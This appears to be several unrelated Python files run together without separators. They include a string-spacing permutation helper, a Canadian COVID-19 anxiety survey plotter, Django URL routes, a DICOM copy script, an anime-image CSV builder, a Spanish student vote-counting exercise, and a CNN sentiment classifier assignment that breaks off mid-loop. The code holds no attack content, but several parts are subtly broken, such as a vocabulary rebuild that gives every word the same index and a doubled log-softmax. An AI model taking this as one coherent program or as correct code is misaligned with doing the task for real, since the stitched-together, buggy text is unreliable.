#when no space required befre 1st letter of string "ABC" => NO SPACE BEFORE A

# helper function
def pws(ip,op):
     res=[]
     if len(ip)==0:
         res.append(op)
         return res
     op1=op2=op
     op1+=ip[0]
     op2+="_"
     op2+=ip[0]
     ip=ip[1:]
     res+=pws(ip,op1)
     res+=pws(ip,op2)
     return res

# this is the function to be called in main
def solve(init_ip):
    ip=init_ip[1:]
    op=init_ip[0]
    return pws(ip,op)

print(solve("ABC"))


import csv
from dataclasses import dataclass
import plotly.graph_objects as go

@dataclass
class Person:
    """
    A data type representing a specific person who took the anxiety survey.

    Attributes:
        - age_group: the age group the person belongs to
        - anxiety_score: the generalized anxiety severity score of this person
        - before_distancing: the person's mental health compared to before physical distancing
        - concern_canada: the person's concern about the impact of COVID-19 on Canadian
          population's health
        - concern_social: the person's concern about the impact of COVID-19 on maintaining
          social ties
        - perceived: the person's perceived mental health
        - financial: how COVID-19 impacts the person's ability to meet financial
          obligations or essential needs

    Representation invariants:
        - 1 <= age_group <= 6
        - 0.0 <= anxiety_score <= 21.0
        - 1.0 <= before_distancing <= 9.0
        - 1.0 <= concern_canada <= 9.0
        - 1.0 <= concern_social <= 9.0
        - 0.0 <= perceived <= 9.0
        - 1.0 <= financial <= 9.0
    """
    age_group: int
    anxiety_score: float
    before_distancing: float
    concern_canada: float
    concern_social: float
    perceived: float
    financial: float

def load_data(filename: str) -> list[Person]:
    """
    Return a list that contains the dataclass Person.
    The data in filename is in a csv format with 43 columns. We have chosen 7 specific columns to
    use as the instance attributes for Person.
    """
    with open(filename) as file:
        reader = csv.reader(file, delimiter=',')
        next(reader)  # skip the header
        data = [process_row(row) for row in reader]

    return data

def process_row(row: list[str]) -> Person:
    """
    Convert a row of anxiety survey data to Person object.
    """
    p = Person(age_group=int(row[31]), anxiety_score=float(row[28]),
               before_distancing=float(row[3]),
               concern_canada=float(row[18]), concern_social=float(row[22]),
               perceived=float(row[2]),
               financial=float(row[37]))
    p.financial = abs(p.financial - 6)

    return p

def calculate_avg(attr: str, age_group: list) -> float:
    """
    Return a float representing the average for the attribute of the age group.
    """
    count = 0
    length = len(age_group)
    attr_avg_variable = attr + '_avg'
    not_stated = globals()[attr_avg_variable][0][2]

    for person in age_group:
        a = getattr(person, attr)
        if a == not_stated:
            length -= 1
        else:
            count += a

    return count / length

def formula(age_group: dict) -> list[float]:
    """
    Return a list of 6 float variables that each represent
    the overall anxiety score of each age group.

    We created a formula that uses all attributes in Person (except age_group) and calculates
    their overall anxiety score.

    The formula is as follows:
    anxiety_score * 30% + before_distancing * 20% + concern_canada * 10% + concern_social * 10%
    + perceived * 10% + financial * 20%
    """
    percentage = [0.3, 0.2, 0.1, 0.1, 0.1, 0.2]
    # r is the list of the range of answers (ie. anxiety score is 0-21)
    r = [22, 5, 5, 4, 5, 5]
    y_values = []
    for i in range(1, 7):
        for j in range(0, 6):
            # Divide the group's attribute average by the attribute's corresponding range and
            # multiply by its corresponding percentage
            age_group[i][j] = (age_group[i][j] / r[j]) * percentage[j]
        s = sum(age_group[i])
        y_values.append(s)

    return y_values

# Global Variables:

# Age group lists:
age_groups = []
first_age = []
second_age = []
third_age = []
fourth_age = []
fifth_age = []
sixth_age = []

# Attribute average lists:
anxiety_score_avg = []
before_distancing_avg = []
concern_canada_avg = []
concern_social_avg = []
perceived_avg = []
financial_avg = []

def arrange(person: Person) -> None:
    """
    Organize person into its specific age group list.
    """
    if person.age_group == 1:
        first_age.append(person)
    elif person.age_group == 2:
        second_age.append(person)
    elif person.age_group == 3:
        third_age.append(person)
    elif person.age_group == 4:
        fourth_age.append(person)
    elif person.age_group == 5:
        fifth_age.append(person)
    else:
        sixth_age.append(person)

def run_example(filename: str) -> None:
    """
    Run an example to display graphs based on the data in filename.

    To call this function:
        - Make sure you see that the 'anxiety_survey_canada_2020' folder is in the same directory
          as this file
        - Use an argument for filename like: 'anxiety_survey_canada_2020'
    """
    result = load_data(filename)

    attributes = ['anxiety_score', 'before_distancing',
                  'concern_canada', 'concern_social', 'perceived', 'financial']

    age_groups.extend([first_age, second_age, third_age, fourth_age, fifth_age, sixth_age])

    # The first element of each list is a tuple containing 3 integers
    # The first integer: the lowest number people can pick for questions about specific attributes
    # The second integer: the highest number people can pick for questions about specific attributes
    # The last integer: the number that indicates the person did not respond to this question
    anxiety_score_avg.insert(0, (0, 21, 99))
    before_distancing_avg.insert(0, (1, 5, 9))
    concern_canada_avg.insert(0, (1, 5, 9))
    concern_social_avg.insert(0, (1, 4, 9))
    perceived_avg.insert(0, (1, 5, 9))
    financial_avg.insert(0, (1, 5, 9))

    list_avg = []

    # Append all lists for the attribute average lists onto list_avg
    for attribute in attributes:
        attribute = attribute + '_avg'
        list_avg.append(globals()[attribute])

    for person in result:
        arrange(person)

    for attribute in attributes:
        for group in age_groups:
            avg = calculate_avg(attribute, group)
            attr_avg_variable = attribute + '_avg'
            globals()[attr_avg_variable].append(avg)

    list_without_formula = []
    group_to_attributes = {}
    for i in range(1, 7):
        for e in list_avg:
            list_without_formula.append(e[i])
            group_to_attributes[i] = list_without_formula
        list_without_formula = []

    plot_data(group_to_attributes, attributes)

def plot_data(group_to_formula: dict[int, list[float]], attributes: list[str]) -> None:
    """
    Create a graph for each attribute and for the overall anxiety score across each age group.

    Preconditions:
        - group_to_formula != {}
    """
    # Obtain the first element of each attribute average list and store it in ranges
    ranges = [()] * len(attributes)
    for i in range(len(attributes)):
        attr_avg_variable = attributes[i] + '_avg'
        ranges[i] = globals()[attr_avg_variable].pop(0)

    # x-values of the graphs
    groups = ['15-24', '25-34', '35-44', '45-54', '55-64', '65+']

    x_axis_title = "Age groups"

    # Create the figure
    fig = go.Figure()

    fig.add_trace(go.Scatter(x=groups, y=formula(group_to_formula), name='Overall Score'))

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=anxiety_score_avg,
            name='Anxiety Score',
            line=dict(color="#CF3333"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=before_distancing_avg,
            name="Before Distancing",
            line=dict(color="#CFCA33"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=concern_canada_avg,
            name="Concern for Canadians",
            line=dict(color="#8BCF33"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=concern_social_avg,
            name="Concern for Social Impact",
            line=dict(color="#33CFCF"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=perceived_avg,
            name="Perceived Mental Health",
            line=dict(color="#334ACF"),
        ),
    )

    fig.add_trace(
        go.Scatter(
            x=groups,
            y=financial_avg,
            name="Financial Impact",
            line=dict(color="#CF33C2"),
        )
    )

    # Configure the starting figure
    fig.update_layout(title='Specific Attributes Across Different Age Groups',
                      xaxis_title=x_axis_title,
                      yaxis_title='Calculated Averages')

    # Configure the buttons and other figures
    fig.update_layout(
        updatemenus=[
            dict(
                type="buttons",
                direction="down",
                # Coordinates of the buttons
                x=-0.1,
                y=0.9,
                showactive=True,
                buttons=list(
                    [
                        dict(
                            label="All Graphs",
                            method="update",
                            args=[
                                # True and False values correspond to the order in which we added
                                # each trace (e.g. since we added the trace for Overall Score first,
                                # it corresponds to the first value in the True and False list)
                                {"visible": [True, True, True, True, True, True, True]},
                                {"title.text": "Specific Attributes Across Different Age Groups",
                                 "xaxis.title.text":
                                     x_axis_title,
                                 "yaxis.title.text": "Calculated averages", },
                            ],
                        ),
                        dict(
                            label="Overall Anxiety Score",
                            method="update",
                            args=[
                                {"visible": [True, False, False, False, False, False, False]},
                                {"title.text": "Relationship between Overall Anxiety Score and "
                                               "Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": "Calculated overall anxiety score "
                                                     "(ranging from 0 to 1)", },
                            ],
                        ),
                        dict(
                            label="Anxiety Level",
                            method="update",
                            args=[
                                {"visible": [False, True, False, False, False, False, False]},
                                {"title.text": "Relationship between Generalized Anxiety Severity "
                                               "Score and Different "
                                               "Age Groups ", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated generalized anxiety score average'
                                                     f' 'f'(ranging '
                                                     f'from {ranges[0][0]} '
                                                     f'to {ranges[0][1]})', },
                            ],
                        ),
                        dict(
                            label="Before Distancing",
                            method="update",
                            args=[
                                {"visible": [False, False, True, False, False, False, False]},
                                {"title.text": "Relationship between Mental Health Levels before "
                                               "Distancing and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated before distancing score average '
                                                     f'(ranging from {ranges[1][0]} '
                                                     f'to {ranges[1][1]})'},
                            ],
                        ),
                        dict(
                            label="Concern for Canadians",
                            method="update",
                            args=[
                                {"visible": [False, False, False, True, False, False, False]},
                                {"title.text": "Relationship between Concern of Impact of COVID-19 "
                                               "on Canadian Population Health and Different "
                                               "Age Groups", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated concern for Canadians score '
                                                     f'average (ranging from {ranges[2][0]} '
                                                     f'to {ranges[2][1]})'},
                            ],
                        ),
                        dict(
                            label="Concern for Impact on Social Life",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, True, False, False]},
                                {"title.text": "Relationship between Concern of Impact of COVID-19 "
                                               "on Maintaining Social Ties and Different "
                                               "Age Groups", "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated concern for social impact score '
                                                     f'average (ranging from {ranges[3][0]} '
                                                     f'to {ranges[3][1]})'},
                            ],
                        ),
                        dict(
                            label="Perceived Mental Health",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, False, True, False]},
                                {"title.text": "Relationship between Perceived Mental Health Level "
                                               "and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated perceived mental health score '
                                                     f'average (ranging from {ranges[4][0]} '
                                                     f'to {ranges[4][1]})'},
                            ],
                        ),
                        dict(
                            label="Financial Impact",
                            method="update",
                            args=[
                                {"visible": [False, False, False, False, False, False, True]},
                                {"title.text": "Relationship between Impact of COVID-19 on Person's"
                                               " Ability to Meet Financial Obligations or Essential"
                                               " Needs and Different Age Groups",
                                 "xaxis.title.text": x_axis_title,
                                 "yaxis.title.text": f'Calculated financial impact score average '
                                                     f'(ranging from {ranges[5][0]} '
                                                     f'to {ranges[5][1]})'},
                            ],
                        ),
                    ]
                ),
            )
        ],
    )

    # Show the figure in the browser
    fig.show()

run_example('anxiety_survey_canada_2020.csv')


from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path('admin/', admin.site.urls),

    path('', include('user.urls')),
    path('courses/', include('course.urls')),

    path('accounts/', include('allauth.urls')),

    path('api/', include('course.api.urls')),
]


"""
Python script to gather dicom files and put them into a raw/ directory
"""
import os, glob, shutil
from os.path import join, expanduser

root = '/media/vandejjf/WDMyBook_Jasper/caos/'
acqdir = 'derya/presentation_files_allegra/CAOS_fMRT/'

print('Copying dcm directories to raw directory')
subjdirs = glob.glob(join(root, acqdir, '*'))
for s, subjdir in enumerate(subjdirs):
    inits = subjdir.split('/')[-1][:2]
    dcmdirs = [f for f in glob.glob(join(subjdir, '1.3.*')) if '.zip' not in f]
    if len(dcmdirs) == 1:
        dcmdirs = glob.glob(join(subjdir, dcmdirs[0], '1.3.*'))
    subjrawdir = join(root, 'raw', inits)
    msg = '\n{}/{} {} {}scans '.format(s+1, len(subjdirs), inits, len(dcmdirs))
    print(msg, end='', flush=True)
    for dcmdir in dcmdirs:
        print('.', end='', flush=True)
        number = os.path.basename(dcmdir)
        shutil.copytree(dcmdir, join(subjrawdir, number))
print('done')


import os
import sys
from PIL import Image
import numpy as np
import random

if __name__ == '__main__':
    folder_name = ['chino', 'chiya', 'cocoa', 'maya', 'megu', 'rize', 'syaro']

    csv = []

    for folder in folder_name:
        folder_path = './anime_picture_face/' + folder + '/'
        files = os.listdir(folder_path)
        for idx, file in enumerate(files):
            try:
                img_txt = str(folder_name.index(folder)) + ","
                img = Image.open(folder_path+file)
                img = img.resize((32, 32))
                img_array = np.asarray(img).reshape(-1)
                for _idx, number in enumerate(img_array):
                    if _idx != 0: img_txt += ","
                    img_txt += str(number)
                csv.append(img_txt)
            except OSError:
                pass

    random.shuffle(csv)
    with open("dataset.csv", "w") as f:
        for data in csv:
            f.write(data + "\n")


import tkinter
from tkinter.messagebox import showinfo as alert
from tkinter.messagebox import askyesno as question
from tkinter.simpledialog import askstring as prompt
import customtkinter

# Es la gala de eliminación del Gran Utniano y la producción nos pide un programa para contar los votos de los
# televidentes y saber cuál será el participante que deberá abandonar la casa más famosa del mundo.
# Los participantes en la placa son: Giovanni, Gianni y Facundo.
# Fausto no fue nominado y Marina no está en la placa esta semana por haber ganado la inmunidad.

# Cada televidente que vota deberá ingresar:
# Nombre del votante
# Edad del votante (debe ser mayor a 13)
# Género del votante (Masculino, Femenino, Otro)
# El nombre del participante a quien le dará el voto negativo (Debe estar en placa)
# No se sabe cuántos votos entrarán durante la gala.

# Se debe informar al usuario:
# El promedio de edad de las votantes de género Femenino
# Cantidad de personas de género masculino entre 25 y 40 años que votaron a Giovanni o a Facundo.
# Nombre del votante más joven qué votó a Gianni.
# Nombre de cada participante y porcentaje de los votos qué recibió.
# El nombre del participante que debe dejar la casa (El que tiene más votos)

class App(customtkinter.CTk):

    def __init__(self):
        super().__init__()

        # configure window
        self.title("UTN FRA")

        self.btn_mostrar = customtkinter.CTkButton(master=self, text="Mostrar", command=self.btn_mostrar_on_click)
        self.btn_mostrar.grid(row=2, pady=20, columnspan=2, sticky="nsew")

    def btn_mostrar_on_click(self):
        lista_nombres = ["lala", "julieta", "pepe", "coco", "ñaño", "pato"]
        lista_edades = [25, 23, 27, 29, 30, 15]
        lista_generos = ["femenino", "femenino", "masculino", "masculino", "masculino", "masculino"]
        lista_votos = ["facundo", "giovanni", "facundo", "gianni", "gianni", "facundo"]

        # for _ in range(1):
        #     nombre = prompt("Mostrar", "Nombre")
        #     while nombre == None or not nombre.isalpha():
        #         nombre = prompt("Mostrar", "Nombre")
        #     lista_nombres.append(nombre)

        #     edad = prompt("Mostrar", "Edad")
        #     while edad == None or not edad.isdigit() or int(edad) < 13:
        #         edad = prompt("Mostrar", "Edad")
        #     edad = int(edad)
        #     lista_edades.append(edad)

        #     genero = prompt("Mostrar", "Género")
        #     while genero == None or genero not in ["masculino", "femenino", "otro"]:
        #         genero = prompt("Mostrar", "Género")
        #     lista_generos.append(genero)

        #     voto = prompt("Mostrar", "a quien votas?")
        #     while voto == None or not voto.isalpha() or voto not in ["giovanni", "gianni", "facundo"]:
        #         voto = prompt("Mostrar", "a quien votas?")
        #     lista_votos.append(voto)

        promedio_de_edad = 0
        i = 0
        contador = 0
        contador_mujeres = 0
        votante_mas_joven = 1000
        for genero in lista_generos:
            if genero == "femenino":
                contador_mujeres +=1
                edad = lista_edades[i]
                promedio_de_edad += edad
            if genero == "masculino":
                edad = lista_edades[i]
                if edad >= 25 and edad <= 40:
                    voto = lista_votos[i]
                    if voto == "giovanni" or voto == "facundo":
                        contador += 1

            i+=1
        promedio_de_edad = promedio_de_edad/contador_mujeres

        if promedio_de_edad > 0:
            print (f"el promedio de edad en votantes mujeres es {promedio_de_edad}")
        else:
            print ("No se han registrado votantes mujeres")

        if contador > 0:
            print (f"la Cantidad de personas de género masculino entre 25 y 40 años que votaron a Giovanni o a Facundo: {contador}")
        else:
            print ("No se han registrado votantes de género masculino entre 25 y 40 años que votaron a Giovanni o a Facundo")

        i = 0
        contador_gianni = 0
        contador_facu = 0
        contador_gio = 0
        promedio_de_votos_gio = 0
        promedio_de_votos_facu = 0
        promedio_de_votos_gia = 0

        for voto in lista_votos:
            if voto == "gianni":
                edad = lista_edades[i]
                contador_gianni += 1
                if edad < votante_mas_joven:
                    votante_mas_joven = edad
                    nombre_del_votante_mas_joven = lista_nombres[i]
            if voto == "facundo":
                contador_facu += 1
            elif voto == "giovanni":
                contador_gio += 1
            i += 1

        promedio_de_votos_gio = contador_gio/len(lista_votos) * 100
        promedio_de_votos_facu = contador_facu/len(lista_votos) * 100
        promedio_de_votos_gia = contador_gianni/len(lista_votos) * 100
        print (f"el nombre del votante más joven qué votó a Gianni es {nombre_del_votante_mas_joven}")
        print (f"promedio de votos de facu: {promedio_de_votos_facu}% - promedio de votos de gio {promedio_de_votos_gio}% - promedio de votos de gia {promedio_de_votos_gia}%")

        if promedio_de_votos_gio > promedio_de_votos_gia and promedio_de_votos_gio > promedio_de_votos_facu:
            print (f"el nombre del participante que debe dejar la casa es Giovanni con {contador_gio} votos")
        elif promedio_de_votos_facu > promedio_de_votos_gia:
            print (f"el nombre del participante que debe dejar la casa es Facundo con {contador_facu} votos")
        else:
            print (f"el nombre del participante que debe dejar la casa es Gianni con {contador_gianni} votos")

if __name__ == "__main__":
    app = App()
    app.geometry("300x300")
    app.mainloop()


"""
sample code for assign4.py

load_sst can be used to read the files from sst, which can be downloaded from this link:

  https://nlp.stanford.edu/sentiment/trainDevTestTrees_PTB.zip

load_embeddings can be used to read files in the text format. Here's a link to

  word2vec - https://drive.google.com/file/d/0B7XkCwpI5KDYNlNUTTlSS21pQmM/edit?usp=sharing
  GloVe (300D 6B) - http://nlp.stanford.edu/data/glove.840B.300d.zip

The word2vec file is saved in a binary format and will need to be converted to text format. This can be done by installing gensim:

  pip install --upgrade gensim

Then running this snippet:

  from gensim.models.keyedvectors import KeyedVectors

  model = KeyedVectors.load_word2vec_format('path/to/GoogleNews-vectors-negative300.bin', binary=True)
  model.save_word2vec_format('path/to/GoogleNews-vectors-negative300.txt', binary=False)

To train:

  python assign4.py

To write test predictions:

  python assign4.py --eval_only_mode

"""

import argparse
import os
import sys
import json
import random

import numpy as np

import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.autograd import Variable

import nltk
from nltk.corpus import stopwords
# from nltk.tokenize import word_tokenize

import pandas as pd

PAD_TOKEN = '_PAD_'
UNK_TOKEN = '_UNK_'

mydir = os.path.dirname(os.path.abspath(__file__))

# Methods for loading SST data

def sentiment2label(x):
  if x >= 0 and x <= 0.2:
    return 0
  elif x > 0.2 and x <= 0.4:
    return 1
  elif x > 0.4 and x <= 0.6:
    return 2
  elif x > 0.6 and x <= 0.8:
    return 3
  elif x > 0.8 and x <= 1:
    return 4
  else:
    raise ValueError('Improper sentiment value {}'.format(x))

# This function was placed here if we want to do anything to the tokens before sending them out.
def tokenizePhrase(phrase):

    phraseWords = phrase.split(' ')

    return phraseWords

def read_dictionary_txt_with_phrase_ids(dictionary_path, phrase_ids_path, labels_path=None):
  print('Reading data dictionary_path={} phrase_ids_path={} labels_path={}'.format(
    dictionary_path, phrase_ids_path, labels_path))

  with open(phrase_ids_path) as f:
    phrase_ids = set(line.strip() for line in f)

  with open(dictionary_path) as f:
    examples_dict = dict()
    for line in f:
      parts = line.strip().split('|')
      phrase = parts[0]
      phrase_id = parts[1]

      if phrase_id not in phrase_ids:
        continue

      example = dict()
      example['phrase'] = phrase.replace('(', '-LRB').replace(')', '-RRB-')
      example['tokens'] = tokenizePhrase(example['phrase'])
      example['example_id'] = phrase_id
      example['label'] = None
      examples_dict[example['example_id']] = example

  if labels_path is not None:
    with open(labels_path) as f:
      for i, line in enumerate(f):
        if i == 0:
          continue
        parts = line.strip().split('|')
        phrase_id = parts[0]
        sentiment = float(parts[1])
        label = sentiment2label(sentiment)

        if phrase_id in examples_dict:
          examples_dict[phrase_id]['label'] = label

  examples = [ex for _, ex in examples_dict.items()]

  print('Found {} examples.'.format(len(examples)))

  return examples

def build_vocab(datasets):
  vocab = dict()
  vocab[PAD_TOKEN] = len(vocab)
  vocab[UNK_TOKEN] = len(vocab)
  for data in datasets:
    for example in data:
      for word in example['tokens']:
        if word not in vocab:
          vocab[word] = len(vocab)

  print('Vocab size: {}'.format(len(vocab)))

  return vocab

class TokenConverter(object):
  def __init__(self, vocab):
    self.vocab = vocab
    self.unknown = 0

  def convert(self, token):
    if token in self.vocab:
      id = self.vocab.get(token)
    else:
      id = self.vocab.get(UNK_TOKEN)
      self.unknown += 1
    return id

def convert2ids(data, vocab):
  converter = TokenConverter(vocab)
  for example in data:
    example['tokens'] = list(map(converter.convert, example['tokens']))
  print('Found {} unknown tokens.'.format(converter.unknown))
  return data

def concatenateVocabsEmbeddings(v1, e1, v2, e2):

  #compare vocabs,
  commonVocab = set(v1.keys()) & set(v2.keys())
  newEmbedings = np.ndarray(shape=(len(commonVocab),len(e1[0]) + len(e2[0])))

  # for every common word, find its location in each of the vocab dictionaries.
  # then get that words embedding in each of the embeddings and concatenate them.
  i = 0
  for word in commonVocab:
    id1 = v1[word]
    id2 = v2[word]

    newEmbedings[i] = np.concatenate((e1[id1], e2[id2]))
    i = i + 1

  # now make the commonVocab back into a dictionary with keys = word and value = index (starting at 0)
  generatedVocab = dict((word,index) for word in commonVocab for index in range(len(commonVocab)))

  return generatedVocab, newEmbedings

def load_data_and_embeddings(data_path, phrase_ids_path, embeddings_path):
  labels_path = os.path.join(data_path, 'sentiment_labels.txt')
  dictionary_path = os.path.join(data_path, 'dictionary.txt')
  train_data = read_dictionary_txt_with_phrase_ids(dictionary_path, os.path.join(phrase_ids_path, 'phrase_ids.train.txt'), labels_path)
  validation_data = read_dictionary_txt_with_phrase_ids(dictionary_path, os.path.join(phrase_ids_path, 'phrase_ids.dev.txt'), labels_path)
  test_data = read_dictionary_txt_with_phrase_ids(dictionary_path, os.path.join(phrase_ids_path, 'phrase_ids.test.txt'))
  vocab = build_vocab([train_data, validation_data, test_data])

  if options.useEmbeddingNumber == 1:
    # use embedding for glove
    vocab, embeddings = load_embeddings(options.embeddings, vocab, cache=True)
  elif options.useEmbeddingNumber == 2:
    # use embedding for word2vec (google)
    vocab, embeddings = load_embeddings(options.embeddings2, vocab, cache=True)
  elif options.useEmbeddingNumber == 3:
    # if we are doing double embedding then run it on both and concatenate the results
    vocab1, embeddings1 = load_embeddings(options.embeddings, vocab, cache=True)
    vocab2, embeddings2 = load_embeddings(options.embeddings2, vocab, cache=True)

    #Merge the vocabs and embeddings
    vocab, embeddings = concatenateVocabsEmbeddings(vocab1, embeddings1, vocab2, embeddings2)

  else:
    print("Embedding mode not support, please specify one of the options (1,2,3), reverting to standard embeddings:")
    vocab, embeddings = load_embeddings(options.embeddings, vocab, cache=True)

  train_data = convert2ids(train_data, vocab)
  validation_data = convert2ids(validation_data, vocab)
  test_data = convert2ids(test_data, vocab)
  return train_data, validation_data, test_data, vocab, embeddings

def load_embeddings(path, vocab, cache=False, cache_path=None):
  rows = []
  new_vocab = [UNK_TOKEN]

  if cache_path is None:
    cache_path = path + '.cache'

  # Use cache file if it exists.
  if os.path.exists(cache_path):
    path = cache_path

  print("Reading embeddings from {}".format(path))

  # first pass over the embeddings to vocab and relevant rows
  with open(path) as f:
    for line in f:
      word, row = line.split(' ', 1)
      if word == UNK_TOKEN:
        raise ValueError('The unk token should not exist w.in embeddings.')
      if word in vocab:
        rows.append(line)
        new_vocab.append(word)

  # optionally save relevant rows to cache file.
  if cache and not os.path.exists(cache_path):
    with open(cache_path, 'w') as f:
      for line in rows:
        f.write(line)
      print("Cached embeddings to {}".format(cache_path))

  # turn vocab list into a dictionary
  new_vocab = {w: i for i, w in enumerate(new_vocab)}

  print('New vocab size: {}'.format(len(new_vocab)))

  assert len(rows) == len(new_vocab) - 1

  # create embeddings matrix
  embeddings = np.zeros((len(new_vocab), 300), dtype=np.float32)
  for i, line in enumerate(rows):
    embeddings[i+1] = list(map(float, line.strip().split(' ')[1:]))

  return new_vocab, embeddings

# Batch Iterator

def prepare_data(data,maxKernelSize):
  # pad data
  maxlen = max(map(len, data))
  if (maxlen < maxKernelSize):
    maxlen = maxKernelSize

  data = [ex + [0] * (maxlen-len(ex)) for ex in data]

  # wrap in tensor
  if torch.cuda.is_available():
    return torch.cuda.LongTensor(data)
  else:
    return torch.LongTensor(data)

def prepare_labels(labels):
  try:
    if torch.cuda.is_available():
      return torch.cuda.LongTensor(labels)
    else:
      return torch.LongTensor(labels)
  except:
    return labels

def batch_iterator(dataset, batch_size, forever=True, maxEpochs=200):
  dataset_size = len(dataset)
  order = None
  nbatches = dataset_size // batch_size

  def init_order():
    return random.sample(range(dataset_size), dataset_size)

  def get_batch(start, end):
    batch = [dataset[ii] for ii in order[start:end]]
    data = prepare_data([ex['tokens'] for ex in batch],7) # the number should be changed to the maximum kernel size +1
    labels = prepare_labels([ex['label'] for ex in batch])
    example_ids = [ex['example_id'] for ex in batch]
    return data, labels, example_ids

  order = init_order()

  while True:

    for i in range(nbatches):

      start = i*batch_size
      end = (i+1)*batch_size
      yield get_batch(start, end)

    if nbatches*batch_size < dataset_size:
      yield get_batch(nbatches*batch_size, dataset_size)

    if not forever:
      break

    order = init_order()

# Models

class BagOfWordsModel(nn.Module):
  def __init__(self, embeddings):
    super(BagOfWordsModel, self).__init__()
    self.embed = nn.Embedding(embeddings.shape[0], embeddings.shape[1], sparse=True)
    self.embed.weight.data.copy_(torch.from_numpy(embeddings))
    self.classify = nn.Linear(embeddings.shape[1], 5)

  def forward(self, x):
    return self.classify(self.embed(x).sum(1))

# Train a CNN Sentiment Classifier using pre-trained
# and frozen skip-gram word2vec as your word embedding
# on the Sentiment data from above
class CNNClassifier(nn.Module):

    def __init__(self, vocab, embeddings, output_size, kernel_dim=100, kernel_sizes=(3, 4, 5), dropout=0.5):
        super(CNNClassifier,self).__init__()

        # kernel_sizes should now be working
        # print("Embedding Size: " + str(embeddings.shape[0]))
        # print("Embedding Size: " + str(embeddings.shape[1]))

        embeddingsPosition = 1

        self.embedding = nn.Embedding(len(vocab), embeddings.shape[embeddingsPosition])
        self.convs = nn.ModuleList([nn.Conv2d(1, kernel_dim, (K, embeddings.shape[embeddingsPosition])) for K in kernel_sizes])

        # kernal_size = (K,D)
        self.dropout = nn.Dropout(dropout)
        self.fc = nn.Linear(len(kernel_sizes) * kernel_dim, output_size)

    def init_weights(self, pretrained_word_vectors, is_static=False): # finetuned with is_static to true
        self.embedding.weight = nn.Parameter(torch.from_numpy(pretrained_word_vectors).float())
        if is_static:
            self.embedding.weight.requires_grad = False

    def forward(self, inputs, is_training=False):
        inputs = self.embedding(inputs).unsqueeze(1) # (B,1,T,D)
        inputs = [F.relu(conv(inputs)).squeeze(3) for conv in self.convs] #[(N,Co,W), ...]*len(Ks)
        inputs = [F.max_pool1d(i, i.size(2)).squeeze(2) for i in inputs] #[(N,Co), ...]*len(Ks)

        concated = torch.cat(inputs, 1)

        if is_training:
            concated = self.dropout(concated) # (N,len(Ks)*Co)
        out = self.fc(concated)
        return F.log_softmax(out,1)

# Utility Methods

def checkpoint_model(step, val_err, model, opt, save_path):
  save_dict = dict(
    step=step,
    val_err=val_err,
    model_state_dict=model.state_dict(),
    opt_state_dict=opt.state_dict())
  torch.save(save_dict, save_path)

def load_model(model, opt, load_path):
  load_dict = torch.load(load_path)
  step = load_dict['step']
  val_err = load_dict['val_err']
  model.load_state_dict(load_dict['model_state_dict'])
  opt.load_state_dict(load_dict['opt_state_dict'])
  return step, val_err

# Main

def run_validation(model, dataset, options):
  err = 0
  count = 0

  numPerLabels = []
  numCorrectPredLabels = []

  validationFile = open(options.validationFileName,'w')

  # making the run_validation print out the stats for each label
  for data, labels, _ in batch_iterator(dataset, options.batch_size, forever=False):
    outp = model(Variable(data))
    loss = nn.NLLLoss()(F.log_softmax(outp), Variable(labels))
    acc = (outp.data.max(1)[1] == labels).sum() / data.shape[0]
    err += (1-acc) * data.shape[0]
    count += data.shape[0]

    for i in range(len(outp.data.max(1)[1])):
      validationFile.write('{},{}\n'.format(labels[i],outp.data.max(1)[1][i]))

  validationFile.close()
  err = err / count
  print('Ev-Err={}'.format(err))

  return err

def run_test(model, dataset, options):
  print('Writing predictions to {}'.format(os.path.abspath(options.predictions)))

  preds_dict = dict()

  for data, _, example_ids in batch_iterator(dataset, options.batch_size, forever=False):
    outp = model(Variable(data))
    preds = outp.data.max(1)[1]

    for id, pred in zip(example_ids, preds):
      preds_dict[id] = pred

  with open(options.predictions, 'w') as f:
    for id, pred in preds_dict.items():
      f.write('{}|{}\n'.format(id, pred))

def run(options):

  train_data, validation_data, test_data, vocab, embeddings = \
    load_data_and_embeddings(options.data, options.ids, options.embeddings)

  model = CNNClassifier(vocab, embeddings, 5)

  # embeddings should be initialized differently for finetuning
  if (options.fineTuned):
    model.init_weights(embeddings,is_static=True)
  else:
    model.init_weights(embeddings,is_static=False)

  USE_CUDA = torch.cuda.is_available()
  if USE_CUDA:
    torch.cuda.set_device(0) # just use the first gpu available.

  FloatTensor = torch.cuda.FloatTensor if USE_CUDA else torch.FloatTensor
  LongTensor = torch.cuda.LongTensor if USE_CUDA else torch.LongTensor
  ByteTensor = torch.cuda.ByteTensor if USE_CUDA else torch.ByteTensor

  if USE_CUDA:
      model = model.cuda()

  if (options.fineTuned):
    opt = optim.SGD(filter(lambda x: x.requires_grad, model.parameters()), lr = 3e-4)
  else:
    opt = optim.SGD(model.parameters(), lr=3e-4)

  step = 0
  best_val_err = 1

  if options.eval_only_mode:
    step, best_val_err = load_model(model, opt, options.model)
    print('Model loaded from {}\nstep={} best_val_err={}'.format(options.model, step, best_val_err))
    run_test(model, test_data, options)
    # sys.exit()
    # maybe not exit, instead just return out of the run function,
    # this allows multiple tests in series without having to re-run the script.
    #  Especially useful for running long runs throughout the day when I was on campus.
    return

  # print("Entering batch iterator loop")
  for data, labels, _ in batch_iterator(train_data, options.batch_size, forever=True):
    outp = model(Variable(data))
    loss = nn.NLLLoss()(F.log_softmax(outp), Variable(labels))
    acc = (outp.data.max(1)[1] == labels).sum() / data.shape[0]

    opt.zero_grad()
    loss.backward()
    opt.step()

    logFile = open(options.stepLogFileName,'a')
    validationLog = open(options.validationLogFileName,'a')

